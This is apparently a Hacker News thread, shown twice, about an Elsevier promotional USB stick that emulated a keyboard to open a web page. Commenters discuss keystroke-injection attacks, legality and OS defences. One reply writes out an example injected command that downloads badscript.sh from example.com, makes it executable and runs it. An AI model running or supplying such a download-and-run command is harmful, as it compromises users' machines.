13 ms·

Elsevier, that just freaked me out

284 points by phreeza 11y ago

ColinWright 11y ago
https://news.ycombinator.com/item?id=10203010 https://news.ycombinator.com/item?id=10203010
- phreeza 11y ago
  Huh, how did that get past the dupe detector? It's exactly the same URL.
  - sctb 11y ago
    The dupe detector now takes into account the amount of attention previous submissions received.
    - skrebbel 11y ago
      Might be nice if it could bump a post back to "new" when the dupe detector finds a dupe with not-very-much-attention - that way, effectively the comments are merged.
adrianN 11y ago
Plugging things in your USB port has been known as a dangerous activity for quite some time.[1,2] It's surprising that someone at Elsevier thought it would be a good idea to use these techniques though. [1] https://srlabs.de/badusb https://srlabs.de/badusb [2] https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_w-removeable_storage-wp.pdf https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011...
- mbreese 11y ago
  Is it really all that surprising that someone from Elsevier thought it was a good idea?
  - Blahah 11y ago
    If there's one thing you can depend on, it's that Elsevier will fuck things up at every opportunity.
    - elektromekatron 11y ago
      So at least they are Baysianly useful.
  - Animats 11y ago
    This is a known attack vector. For a major company to use it is probably criminal, under the Computer Fraud and Abuse Act. There's no sign of an EULA here, authorizing them access. Elsevier knows this is an attack. They published a book titled "Seven Deadliest USB Attacks", by Brian Anderson. So they can't claim this wasn't done knowingly. Has anybody found out what the attack does? [1] http://www.elsevier.com/books/seven-deadliest-usb-attacks/anderson/978-1-59749-553-0 http://www.elsevier.com/books/seven-deadliest-usb-attacks/an...
    - klausa 11y ago
      "Making a thing type stuff when you plug it in" is an attack vector in the same way "sending a request over the network" is.
      - lucastx 11y ago
        It's not "typing stuff", it's exercing forced, unasked control of your computer (plus unknown behavior on other operating systems), isn't it? If the user's expectation when handed a thumb drive looking USB device from a big company is that it will display files, and instead it just pretends to be him and controls his computer interface, for me it is at least a gray area regarding computer abuse. But I am not a lawyer.
      - tripzilch 11y ago
        Well it's not "just typing stuff", it's typing some rather specific stuff to make your computer do something quite unexpected. The reasonable expectation (for a promotional item) is that it's a memory stick, not that it suddenly starts typing system control global keyboard shortcuts into your computer. Say you'd post a persistent XSS to a forum, but only use it include Fartscroll.js, is that an attack or not? Cause I consider that to be pretty much the same category as the "surprise" automatic typing USB thing. This weekend actually I used a USB device where this was in fact the intended behaviour: a barcode scanner. It registers as a keyboard and just types the numbers (or string) of whatever it scans. Very clever idea because it makes it very easy to write apps for, you don't need a driver or anything. Except I had momentarily forgotten that was how it works, so it surprised me anyway. Fortunately the numbers didn't do much in the program I had focused but still, that feeling of something else unexpectedly typing on my computer! Yeah if it had sent global keyboard shortcuts in order to make my computer start applications and load webpages, I'd be pretty pissed.
- zubspace 11y ago
  Yeah, this is known as BadUSB and can be used to infect even air-gapped systems. In high security systems (Banks, industrial facilities) USB devices should be completely forbidden because of social engineering attacks. See stuxnet: http://arstechnica.com/security/2014/07/this-thumbdrive-hacks-computers-badusb-exploit-makes-devices-turn-evil/ http://arstechnica.com/security/2014/07/this-thumbdrive-hack...
  - upofadown 11y ago
    Just a quibble; BadUSB is about hacking the firmware of USB devices. In this case the behaviour of of the USB device was intentional. It was a keyboard emulator that looked like a mass storage device. More of a hardware Trojan. Quibble2: stuxnet was thought to have been spread using a Windows Explorer exploit. Also not BadUSB...
  - mayoff 11y ago
    In some shops, they fill the USB ports with glue. You can only use PS/2 keyboards and mice.
    - pbhjpbhj 11y ago
      If they just removed the internal connections then they'd disable the USB ports but they'd also get notices of which staff were security risks / IT policy offenders (in the form of support requests "I plugged this USB drive in and ..."). Someone could hook up those ports with a new cable, but at that point they could also just open the case and bypass the glued port.
    - Zuider 11y ago
      You can get PS/2 to USB adaptors which will at least allow you to use a USB keyboard. Probably not functionally the same as a USB port. Can't test this right now, but I wonder whether it would show up as a storage device if one plugged a USB drive into the adaptor?
      - kw71 11y ago
        No
jonknee 11y ago
And that's a feature, not a bug. I have a YubiKey and it does a similar thing, but for good not evil. It would be tricky for an OS to not register keyboards (after all, how would you vouch for an input device without using an input device?). tl;dr don't plug unknown things into your computer.
- masklinn 11y ago
  > after all, how would you vouch for an input device without using an input device? Separate built-in device, or specific signal sequence inputtable on the IME the device registered itself as e.g. if you plug in something which advertises itself as a keyboard, the system sandboxes it and asks that you input a specific password which it displays; for a pointing device it might ask you to move the pointer to specific places and click on them.
  - zyxley 11y ago
    I like this. It feels pretty similar to the "enter this random set of numbers" method for some Bluetooth keyboard pairings.
- ColinDabritz 11y ago
  Tough problem for sure, especially getting users to understand. For keyboards you could use the Bluetooth pairing trust trick. Display a short random number code on the screen, and only accept the keyboard if the numbers are typed, which could be interpreted as the user vouching for the keyboard. The need for this in Bluetooth land is more obvious due to the wireless nature of it, but USB is also an untrusted network.
- fluidcruft 11y ago
  BFD in 5 years everything will have a touch screen and camera, anyway. We'll use animated QR code videos playing on our digital watch faces and some law-enforcement/TLA/convnet goon will be required to approve every UAC request remotely.
- claudius 11y ago
  > (after all, how would you vouch for an input device without using an input device?). Allowing the first keyboard after boot by default seems not unreasonable. It would still make it possible for evil maids to plug in something and wait for you to boot up again, but they are difficult to protect against anyhow. This would also avoid the hassle of vouching for your keyboard every time you reboot.
jgrahamc 11y ago
I made a thing like this for the office with an Arduino Trinket: https://github.com/jgrahamc/missile_command https://github.com/jgrahamc/missile_command
sp332 11y ago
I wonder if it's hard-coded or if you could make it do something else. Hak5 has been selling programmable versions of these for a while. http://hakshop.myshopify.com/collections/usb-rubber-ducky/products/usb-rubber-ducky-deluxe?variant=353378649 http://hakshop.myshopify.com/collections/usb-rubber-ducky/pr...
- olympus 11y ago
  This is common in the pentesting world. If you can get physical access to a USB port for just a few seconds you can enter the keystrokes to open up a port (or reverse SSH) to the outside world. With only three different procedures (one for Windows, Mac, and Linux) you can own 99% of the computers in the world.
brillenfux 11y ago
So will this USB firmware situation eventually be solved in some newer version or are we all just silently ignoring this? Because this makes USB an absolute NO in some environments (and for quite a while now). It would be nice if we could use USB again at some point…
- X-Istence 11y ago
  This is not a USB firmware situation, it's the issue that any device you plug into USB can emulate one of the allowed devices (i.e. keyboard/mouse/other). What we need is for the OS to ask the user what to do if an existing keyboard/mouse already exists, with a way to whitelist the new device so that we don't have to repeat the same steps each and every time we reboot our computers, or unplug/replug the device. This way it will stop these sorts of attacks.
  - mrob 11y ago
    It can even emulate more than one device on the same port, and introduce new ones after arbitrary delay. This attack could be made stealthier by first presenting a valid mass storage device and adding the emulated keyboard later.
  - OmgImAlexis 11y ago
    and what happens if your keyboard and mouse break? You'd then have no whitelisted HIDs and no way of allowing new ones.
    - nitrogen 11y ago
      Another commenter had a fairly clever solution: https://news.ycombinator.com/item?id=10204560 https://news.ycombinator.com/item?id=10204560 With a bit of refinement it could contribute to the overall solution. The responses here are also interesting: https://news.ycombinator.com/item?id=10203913 https://news.ycombinator.com/item?id=10203913
    - brohee 11y ago
      You input your password, it the attacker knows that, you are likely toast anyway...
almightysmudge 11y ago
Stuns me that someone thought this would be a good idea. Oh hey my free USB device helpfully made me go to a webpage without warning and without permission, these guys are wizards and deserve my custom.
- deong 11y ago
  Well, it's Elsevier. The fact that it only potentially exploited your system and didn't attempt to grab your banking password might actually be taken as a legitimate sign of improvement.
- njharman 11y ago
  Marketing thinks like this, "Will it force users to experience our message", "Yes", "Then it's a fucking awesome grade A great idea".
- uxp 11y ago
  Western Digital includes one of these in their Black2 drive kits. Instead of shipping with a driver CD, it ships with a USB key that opens up your browser to the webpage that hosts the driver download. http://ecx.images-amazon.com/images/I/811LzsR6HGL._SL1500_.jpg http://ecx.images-amazon.com/images/I/811LzsR6HGL._SL1500_.j...
jordigh 11y ago
Can we have a usb condom for this situation? The actual product called "usb condom" is about charging phones and blocking all data pins on the usb drive. Can we have one that will only allow devices to connect as mass storage devices, or is this at odds with the usb protocol?
- _yy 11y ago
  That would require an active intermediary, but yes, it should be possible.
- gchadwick 11y ago
  I wonder if you actually need a hardware device for this? Seems you could have an OS feature so when you insert a USB device it first confirms you're happy for the device to register as an X (mass storage, input, audio etc) before it lets it do it.
  - gchadwick 11y ago
    Though saying yes to registering your keyboard, mouse etc every time you boot might get a little tedious (not to mention impossible if you have no other input devices!). Perhaps an extension to USB that has 512-bits worth of persistent storage per device. When you register a device the OS produces a random number and writes it and saves the list of allowed IDs. Or perhaps you could ask the OS to only apply the ask to register feature to certain USB ports?
    - nitrogen 11y ago
      USB ports are individually addressable, even through hubs, so you can do what everyone hated about Win98 and show a new hardware wizard if a particular port ever has its device change (devices can be recognized by vendor, product, type, and in some cases serial number).
    - zxv 11y ago
      USB firewall. White-list the USB keyboard when it is first attached, using its unique serial number, and avoid a prompt in the future.
upofadown 11y ago
I suspect that a legal approach might work here. Elsevier was being deliberately misleading and was deliberately making a computer do something that the owner of that computer had not authorized. There must be some computer crime statute they could be charged under.
- pbhjpbhj 11y ago
  On a naive reading it breaches the Computer Misuse Act in the UK and the CFAA in the USA both of which have terms guarding against unauthorised access. You need more wrangling to read it in to a normal interpretation of the CFAA however. IANAL.
jimrandomh 11y ago
This is an operating system problem. When a new device is plugged in and claims to be a keyboard, it should lock the screen and not be accepted as input until it has typed the user's login password.
- theophrastus 11y ago
  Quite so. I'd like a list of operating systems and what this thing does plugged into each. Is it just Windows for which this is targeted?
  - jasonlotito 11y ago
    It works on Mac as well (FTA).
    - ikeboy 11y ago
      No I wonder whether it's smart enough to adapt its keystrokes for non-Windows platforms, or whether it just does random things to peoples' computers in that case?
      - jasonlotito 11y ago
        Yes. It's mentioned in the comments.
        ikeboy 11y ago
        That's referring to a different device, by a different commentator.
- cheepin 11y ago
  This instantly breaks Yubikey among other things.
  - rwmj 11y ago
jimrandomh 11y ago
Distributing a USB device that pretends to be a keyboard and types commands is somewhere between faux pas and criminal hacking attempt. Even if the intent was innocent, it has to be investigated like a breakin to be sure. In this case it sounds like it was closer to the faux pas side.
- zdkl 11y ago
  What bothers me in these situations where there is (arguably) room for interpretation over the gravity of the act is the double standards. BigCompany does something harmless but illegal? They have the resources to make it sound completely benign to a court. Some random person gets hauled to court over an arguably harmless/moral grey zone matter and the story ends much differently.
  - 1024core 11y ago
    I was going to say that. Reminds me of Sony's RootKit. Did any Sony exec get prosecuted for "hacking"? Nope.
px43 11y ago
Ancient. The latest fun project enabling this sort of thing is Samy's USBDriveby project: https://www.youtube.com/watch?v=aSLEq7-hlmo https://www.youtube.com/watch?v=aSLEq7-hlmo And yes, you totally can detect operating system, bypass HID protections, and deliver custom weaponized payloads in the form of scripts catted into the command prompt.
linkydinkandyou 11y ago
Many USB drives have a FPGA that can be reprogrammed. So even off-the shelf USB drives can be used as an attack vector. They can become keyboards, bring up a console window, move it off-screen, and bootstrap malicious software. DEFCON had a number of demos about this at DEFCON 22 that you can find on YouTube. Someone doing this as a "feature" wasn't thinking. I'd never plug a USB device that anyone handed to me into any of my computers.
ozzmotik 11y ago
not sure if this has been mentioned, but this sounds like the Rubber Ducky http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe?variant=353378649 http://hakshop.myshopify.com/products/usb-rubber-ducky-delux... just contributing something of interest.
- samwiseg 11y ago
  Yeah exactly, this has been out for a while. Not sure why this is on the front page of HN.
  - sprkyco 11y ago
    Most likely due to the fact that a publishing company was utilizing this "hack".
moyix 11y ago
Apparently some of these are reprogrammable by just rewriting the onboard I2C EEPROM: http://blog.opensecurityresearch.com/2012/10/hacking-usb-webkeys.html http://blog.opensecurityresearch.com/2012/10/hacking-usb-web... Could be a fun weekend project.
ggchappell 11y ago
I don't worry much about inserting wacky storage devices, as I run Linux, and I don't have any kind of auto-run enabled. But this would still work on my machine, right? (I mean that the key combo would be entered; it might not actually bring up the web page, depending on my setup.)
- explorigin 11y ago
  Another good question is, "can the usb device determine the OS that manages it?" If so, it could have customized solutions for each type of computer.
  - claudius 11y ago
    Pretend to be a FAT-formatted mass storage device and see what files are accessed on automount. Possibly also pretend to be ext2 and see if e.g. the mount time in the filesystem superblock is updated. You can probably also learn a bit from the timings of specific actions by the host, but as long as there is any sort of automounting, I suppose that’s the best way to find out your host OS.
- phaemon 11y ago
  Yes, and worse it could do something like: ALT+F2 wget http://example.com/badscript.sh http://example.com/badscript.sh && chmod 755 ~/badscript.sh && ~/badscript.sh & Which is not so good...
  - jessaustin 11y ago
    Oh it would suck to have to put a shorter timeout on sudo.
robryk 11y ago
I wonder if it is possible to fingerprint USB keyboards of same make (with same dummy serial number) to tell them apart. For example one could try to exploit frequency deviations of the crystal oscillator in the keyboard.
Someone 11y ago
Anybody know whether https://www.gdatasoftware.com/en-usb-keyboard-guard https://www.gdatasoftware.com/en-usb-keyboard-guard works well and can be trusted?
kazagistar 11y ago
My employer blocks USB memory sticks... but still permits keyboards and mice for convenience. I am not sure what they hope to accomplish.
- px43 11y ago
  They hope to prevent people from putting sensitive documents on unencrypted media that's easy to lose. There have been worms that spread through autorun and shell exploits, but I think that's a secondary concern.
  - kazagistar 11y ago
    ... except I don't have access to sensitive information (because we have a decent separation between programmers and ops related to PII), and I do have full access to the entire internet, which is a great alternate insecure transfer medium.
j_s 11y ago
What is the url? Seems like a juicy target for a hack on the server side.
s_kilk 11y ago
A few years back a colleague (at the time) went to a MongoDB event where they pulled this same stunt, handing out usb drives that would act like a keyboard and hijack the machine. Both clever and reprehensible.
javajosh 11y ago
It's not an attack unless you write to the hard-drive. This is more of a nuisance, and a bad move, and troubling for what it could be, but the thing itself looks harmless.
rblatz 11y ago
Hyundai did this years ago in 2011 when I bought my car. They sent me a USB key that emulated a keyboard. It opened up the Hyundai registration page, and may have typed my VIN in for me. This isn't new at all.
SomeoneWeird 11y ago
There's an off-the-shelf USB that you can buy called a Teensy[1] that is programmable and automatically registers itself as a USB HID. Very similar to what is described here. [1] https://www.pjrc.com/teensy/ https://www.pjrc.com/teensy/
conceit 11y ago
is this done to boost the called site's search rank?
hnk 11y ago
A friend of mine works at an univeristy in Germany and one of his last projects was exactly this. They were to build a device using a teensy that starts up a webpage once plugged in. It needed to work on major OSes and *nix systems. Win7/8/10, OSX, Ubuntu. This was for some conference as well where they were to be used...

284 points by phreeza 11y ago

ColinWright 11y ago

https://news.ycombinator.com/item?id=10203010 https://news.ycombinator.com/item?id=10203010

phreeza 11y ago
Huh, how did that get past the dupe detector? It's exactly the same URL.
- sctb 11y ago
  The dupe detector now takes into account the amount of attention previous submissions received.
  - skrebbel 11y ago
    Might be nice if it could bump a post back to "new" when the dupe detector finds a dupe with not-very-much-attention - that way, effectively the comments are merged.

adrianN 11y ago

Plugging things in your USB port has been known as a dangerous activity for quite some time.[1,2] It's surprising that someone at Elsevier thought it would be a good idea to use these techniques though. [1] https://srlabs.de/badusb https://srlabs.de/badusb [2] https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_w-removeable_storage-wp.pdf https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011...

mbreese 11y ago
Is it really all that surprising that someone from Elsevier thought it was a good idea?
- Blahah 11y ago
  If there's one thing you can depend on, it's that Elsevier will fuck things up at every opportunity.
  - elektromekatron 11y ago
    So at least they are Baysianly useful.
- Animats 11y ago
  This is a known attack vector. For a major company to use it is probably criminal, under the Computer Fraud and Abuse Act. There's no sign of an EULA here, authorizing them access. Elsevier knows this is an attack. They published a book titled "Seven Deadliest USB Attacks", by Brian Anderson. So they can't claim this wasn't done knowingly. Has anybody found out what the attack does? [1] http://www.elsevier.com/books/seven-deadliest-usb-attacks/anderson/978-1-59749-553-0 http://www.elsevier.com/books/seven-deadliest-usb-attacks/an...
  - klausa 11y ago
    "Making a thing type stuff when you plug it in" is an attack vector in the same way "sending a request over the network" is.
    - lucastx 11y ago
      It's not "typing stuff", it's exercing forced, unasked control of your computer (plus unknown behavior on other operating systems), isn't it? If the user's expectation when handed a thumb drive looking USB device from a big company is that it will display files, and instead it just pretends to be him and controls his computer interface, for me it is at least a gray area regarding computer abuse. But I am not a lawyer.
    - tripzilch 11y ago
      Well it's not "just typing stuff", it's typing some rather specific stuff to make your computer do something quite unexpected. The reasonable expectation (for a promotional item) is that it's a memory stick, not that it suddenly starts typing system control global keyboard shortcuts into your computer. Say you'd post a persistent XSS to a forum, but only use it include Fartscroll.js, is that an attack or not? Cause I consider that to be pretty much the same category as the "surprise" automatic typing USB thing. This weekend actually I used a USB device where this was in fact the intended behaviour: a barcode scanner. It registers as a keyboard and just types the numbers (or string) of whatever it scans. Very clever idea because it makes it very easy to write apps for, you don't need a driver or anything. Except I had momentarily forgotten that was how it works, so it surprised me anyway. Fortunately the numbers didn't do much in the program I had focused but still, that feeling of something else unexpectedly typing on my computer! Yeah if it had sent global keyboard shortcuts in order to make my computer start applications and load webpages, I'd be pretty pissed.
zubspace 11y ago
Yeah, this is known as BadUSB and can be used to infect even air-gapped systems. In high security systems (Banks, industrial facilities) USB devices should be completely forbidden because of social engineering attacks. See stuxnet: http://arstechnica.com/security/2014/07/this-thumbdrive-hacks-computers-badusb-exploit-makes-devices-turn-evil/ http://arstechnica.com/security/2014/07/this-thumbdrive-hack...
- upofadown 11y ago
  Just a quibble; BadUSB is about hacking the firmware of USB devices. In this case the behaviour of of the USB device was intentional. It was a keyboard emulator that looked like a mass storage device. More of a hardware Trojan. Quibble2: stuxnet was thought to have been spread using a Windows Explorer exploit. Also not BadUSB...
- mayoff 11y ago
  In some shops, they fill the USB ports with glue. You can only use PS/2 keyboards and mice.
  - pbhjpbhj 11y ago
    If they just removed the internal connections then they'd disable the USB ports but they'd also get notices of which staff were security risks / IT policy offenders (in the form of support requests "I plugged this USB drive in and ..."). Someone could hook up those ports with a new cable, but at that point they could also just open the case and bypass the glued port.
  - Zuider 11y ago
    You can get PS/2 to USB adaptors which will at least allow you to use a USB keyboard. Probably not functionally the same as a USB port. Can't test this right now, but I wonder whether it would show up as a storage device if one plugged a USB drive into the adaptor?
    - kw71 11y ago
      No

jonknee 11y ago

And that's a feature, not a bug. I have a YubiKey and it does a similar thing, but for good not evil. It would be tricky for an OS to not register keyboards (after all, how would you vouch for an input device without using an input device?). tl;dr don't plug unknown things into your computer.

masklinn 11y ago
> after all, how would you vouch for an input device without using an input device? Separate built-in device, or specific signal sequence inputtable on the IME the device registered itself as e.g. if you plug in something which advertises itself as a keyboard, the system sandboxes it and asks that you input a specific password which it displays; for a pointing device it might ask you to move the pointer to specific places and click on them.
- zyxley 11y ago
  I like this. It feels pretty similar to the "enter this random set of numbers" method for some Bluetooth keyboard pairings.
ColinDabritz 11y ago
Tough problem for sure, especially getting users to understand. For keyboards you could use the Bluetooth pairing trust trick. Display a short random number code on the screen, and only accept the keyboard if the numbers are typed, which could be interpreted as the user vouching for the keyboard. The need for this in Bluetooth land is more obvious due to the wireless nature of it, but USB is also an untrusted network.
fluidcruft 11y ago
BFD in 5 years everything will have a touch screen and camera, anyway. We'll use animated QR code videos playing on our digital watch faces and some law-enforcement/TLA/convnet goon will be required to approve every UAC request remotely.
claudius 11y ago
> (after all, how would you vouch for an input device without using an input device?). Allowing the first keyboard after boot by default seems not unreasonable. It would still make it possible for evil maids to plug in something and wait for you to boot up again, but they are difficult to protect against anyhow. This would also avoid the hassle of vouching for your keyboard every time you reboot.

jgrahamc 11y ago

I made a thing like this for the office with an Arduino Trinket: https://github.com/jgrahamc/missile_command https://github.com/jgrahamc/missile_command

sp332 11y ago

I wonder if it's hard-coded or if you could make it do something else. Hak5 has been selling programmable versions of these for a while. http://hakshop.myshopify.com/collections/usb-rubber-ducky/products/usb-rubber-ducky-deluxe?variant=353378649 http://hakshop.myshopify.com/collections/usb-rubber-ducky/pr...

olympus 11y ago
This is common in the pentesting world. If you can get physical access to a USB port for just a few seconds you can enter the keystrokes to open up a port (or reverse SSH) to the outside world. With only three different procedures (one for Windows, Mac, and Linux) you can own 99% of the computers in the world.

brillenfux 11y ago

So will this USB firmware situation eventually be solved in some newer version or are we all just silently ignoring this? Because this makes USB an absolute NO in some environments (and for quite a while now). It would be nice if we could use USB again at some point…

X-Istence 11y ago
This is not a USB firmware situation, it's the issue that any device you plug into USB can emulate one of the allowed devices (i.e. keyboard/mouse/other). What we need is for the OS to ask the user what to do if an existing keyboard/mouse already exists, with a way to whitelist the new device so that we don't have to repeat the same steps each and every time we reboot our computers, or unplug/replug the device. This way it will stop these sorts of attacks.
- mrob 11y ago
  It can even emulate more than one device on the same port, and introduce new ones after arbitrary delay. This attack could be made stealthier by first presenting a valid mass storage device and adding the emulated keyboard later.
- OmgImAlexis 11y ago
  and what happens if your keyboard and mouse break? You'd then have no whitelisted HIDs and no way of allowing new ones.
  - nitrogen 11y ago
    Another commenter had a fairly clever solution: https://news.ycombinator.com/item?id=10204560 https://news.ycombinator.com/item?id=10204560 With a bit of refinement it could contribute to the overall solution. The responses here are also interesting: https://news.ycombinator.com/item?id=10203913 https://news.ycombinator.com/item?id=10203913
  - brohee 11y ago
    You input your password, it the attacker knows that, you are likely toast anyway...

almightysmudge 11y ago

Stuns me that someone thought this would be a good idea. Oh hey my free USB device helpfully made me go to a webpage without warning and without permission, these guys are wizards and deserve my custom.

deong 11y ago
Well, it's Elsevier. The fact that it only potentially exploited your system and didn't attempt to grab your banking password might actually be taken as a legitimate sign of improvement.
njharman 11y ago
Marketing thinks like this, "Will it force users to experience our message", "Yes", "Then it's a fucking awesome grade A great idea".
uxp 11y ago
Western Digital includes one of these in their Black2 drive kits. Instead of shipping with a driver CD, it ships with a USB key that opens up your browser to the webpage that hosts the driver download. http://ecx.images-amazon.com/images/I/811LzsR6HGL._SL1500_.jpg http://ecx.images-amazon.com/images/I/811LzsR6HGL._SL1500_.j...

jordigh 11y ago

Can we have a usb condom for this situation? The actual product called "usb condom" is about charging phones and blocking all data pins on the usb drive. Can we have one that will only allow devices to connect as mass storage devices, or is this at odds with the usb protocol?

_yy 11y ago
That would require an active intermediary, but yes, it should be possible.
gchadwick 11y ago
I wonder if you actually need a hardware device for this? Seems you could have an OS feature so when you insert a USB device it first confirms you're happy for the device to register as an X (mass storage, input, audio etc) before it lets it do it.
- gchadwick 11y ago
  Though saying yes to registering your keyboard, mouse etc every time you boot might get a little tedious (not to mention impossible if you have no other input devices!). Perhaps an extension to USB that has 512-bits worth of persistent storage per device. When you register a device the OS produces a random number and writes it and saves the list of allowed IDs. Or perhaps you could ask the OS to only apply the ask to register feature to certain USB ports?
  - nitrogen 11y ago
    USB ports are individually addressable, even through hubs, so you can do what everyone hated about Win98 and show a new hardware wizard if a particular port ever has its device change (devices can be recognized by vendor, product, type, and in some cases serial number).
  - zxv 11y ago
    USB firewall. White-list the USB keyboard when it is first attached, using its unique serial number, and avoid a prompt in the future.

upofadown 11y ago

I suspect that a legal approach might work here. Elsevier was being deliberately misleading and was deliberately making a computer do something that the owner of that computer had not authorized. There must be some computer crime statute they could be charged under.

pbhjpbhj 11y ago
On a naive reading it breaches the Computer Misuse Act in the UK and the CFAA in the USA both of which have terms guarding against unauthorised access. You need more wrangling to read it in to a normal interpretation of the CFAA however. IANAL.

jimrandomh 11y ago

This is an operating system problem. When a new device is plugged in and claims to be a keyboard, it should lock the screen and not be accepted as input until it has typed the user's login password.

theophrastus 11y ago
Quite so. I'd like a list of operating systems and what this thing does plugged into each. Is it just Windows for which this is targeted?
- jasonlotito 11y ago
  It works on Mac as well (FTA).
  - ikeboy 11y ago
    No I wonder whether it's smart enough to adapt its keystrokes for non-Windows platforms, or whether it just does random things to peoples' computers in that case?
    - jasonlotito 11y ago
      Yes. It's mentioned in the comments.
      - ikeboy 11y ago
        That's referring to a different device, by a different commentator.
cheepin 11y ago
This instantly breaks Yubikey among other things.
- rwmj 11y ago

jimrandomh 11y ago

Distributing a USB device that pretends to be a keyboard and types commands is somewhere between faux pas and criminal hacking attempt. Even if the intent was innocent, it has to be investigated like a breakin to be sure. In this case it sounds like it was closer to the faux pas side.

zdkl 11y ago
What bothers me in these situations where there is (arguably) room for interpretation over the gravity of the act is the double standards. BigCompany does something harmless but illegal? They have the resources to make it sound completely benign to a court. Some random person gets hauled to court over an arguably harmless/moral grey zone matter and the story ends much differently.
- 1024core 11y ago
  I was going to say that. Reminds me of Sony's RootKit. Did any Sony exec get prosecuted for "hacking"? Nope.

px43 11y ago

Ancient. The latest fun project enabling this sort of thing is Samy's USBDriveby project: https://www.youtube.com/watch?v=aSLEq7-hlmo https://www.youtube.com/watch?v=aSLEq7-hlmo And yes, you totally can detect operating system, bypass HID protections, and deliver custom weaponized payloads in the form of scripts catted into the command prompt.

linkydinkandyou 11y ago

Many USB drives have a FPGA that can be reprogrammed. So even off-the shelf USB drives can be used as an attack vector. They can become keyboards, bring up a console window, move it off-screen, and bootstrap malicious software. DEFCON had a number of demos about this at DEFCON 22 that you can find on YouTube. Someone doing this as a "feature" wasn't thinking. I'd never plug a USB device that anyone handed to me into any of my computers.

ozzmotik 11y ago

not sure if this has been mentioned, but this sounds like the Rubber Ducky http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe?variant=353378649 http://hakshop.myshopify.com/products/usb-rubber-ducky-delux... just contributing something of interest.

samwiseg 11y ago
Yeah exactly, this has been out for a while. Not sure why this is on the front page of HN.
- sprkyco 11y ago
  Most likely due to the fact that a publishing company was utilizing this "hack".

moyix 11y ago

Apparently some of these are reprogrammable by just rewriting the onboard I2C EEPROM: http://blog.opensecurityresearch.com/2012/10/hacking-usb-webkeys.html http://blog.opensecurityresearch.com/2012/10/hacking-usb-web... Could be a fun weekend project.

ggchappell 11y ago

I don't worry much about inserting wacky storage devices, as I run Linux, and I don't have any kind of auto-run enabled. But this would still work on my machine, right? (I mean that the key combo would be entered; it might not actually bring up the web page, depending on my setup.)

explorigin 11y ago
Another good question is, "can the usb device determine the OS that manages it?" If so, it could have customized solutions for each type of computer.
- claudius 11y ago
  Pretend to be a FAT-formatted mass storage device and see what files are accessed on automount. Possibly also pretend to be ext2 and see if e.g. the mount time in the filesystem superblock is updated. You can probably also learn a bit from the timings of specific actions by the host, but as long as there is any sort of automounting, I suppose that’s the best way to find out your host OS.
phaemon 11y ago
Yes, and worse it could do something like: ALT+F2 wget http://example.com/badscript.sh http://example.com/badscript.sh && chmod 755 ~/badscript.sh && ~/badscript.sh & Which is not so good...
- jessaustin 11y ago
  Oh it would suck to have to put a shorter timeout on sudo.

robryk 11y ago

I wonder if it is possible to fingerprint USB keyboards of same make (with same dummy serial number) to tell them apart. For example one could try to exploit frequency deviations of the crystal oscillator in the keyboard.

Someone 11y ago

Anybody know whether https://www.gdatasoftware.com/en-usb-keyboard-guard https://www.gdatasoftware.com/en-usb-keyboard-guard works well and can be trusted?

kazagistar 11y ago

My employer blocks USB memory sticks... but still permits keyboards and mice for convenience. I am not sure what they hope to accomplish.

px43 11y ago
They hope to prevent people from putting sensitive documents on unencrypted media that's easy to lose. There have been worms that spread through autorun and shell exploits, but I think that's a secondary concern.
- kazagistar 11y ago
  ... except I don't have access to sensitive information (because we have a decent separation between programmers and ops related to PII), and I do have full access to the entire internet, which is a great alternate insecure transfer medium.

j_s 11y ago

What is the url? Seems like a juicy target for a hack on the server side.

s_kilk 11y ago

A few years back a colleague (at the time) went to a MongoDB event where they pulled this same stunt, handing out usb drives that would act like a keyboard and hijack the machine. Both clever and reprehensible.

javajosh 11y ago

It's not an attack unless you write to the hard-drive. This is more of a nuisance, and a bad move, and troubling for what it could be, but the thing itself looks harmless.

rblatz 11y ago

Hyundai did this years ago in 2011 when I bought my car. They sent me a USB key that emulated a keyboard. It opened up the Hyundai registration page, and may have typed my VIN in for me. This isn't new at all.

SomeoneWeird 11y ago

There's an off-the-shelf USB that you can buy called a Teensy[1] that is programmable and automatically registers itself as a USB HID. Very similar to what is described here. [1] https://www.pjrc.com/teensy/ https://www.pjrc.com/teensy/

conceit 11y ago

is this done to boost the called site's search rank?

hnk 11y ago

A friend of mine works at an univeristy in Germany and one of his last projects was exactly this. They were to build a device using a teensy that starts up a webpage once plugged in. It needed to work on major OSes and *nix systems. Win7/8/10, OSX, Ubuntu. This was for some conference as well where they were to be used...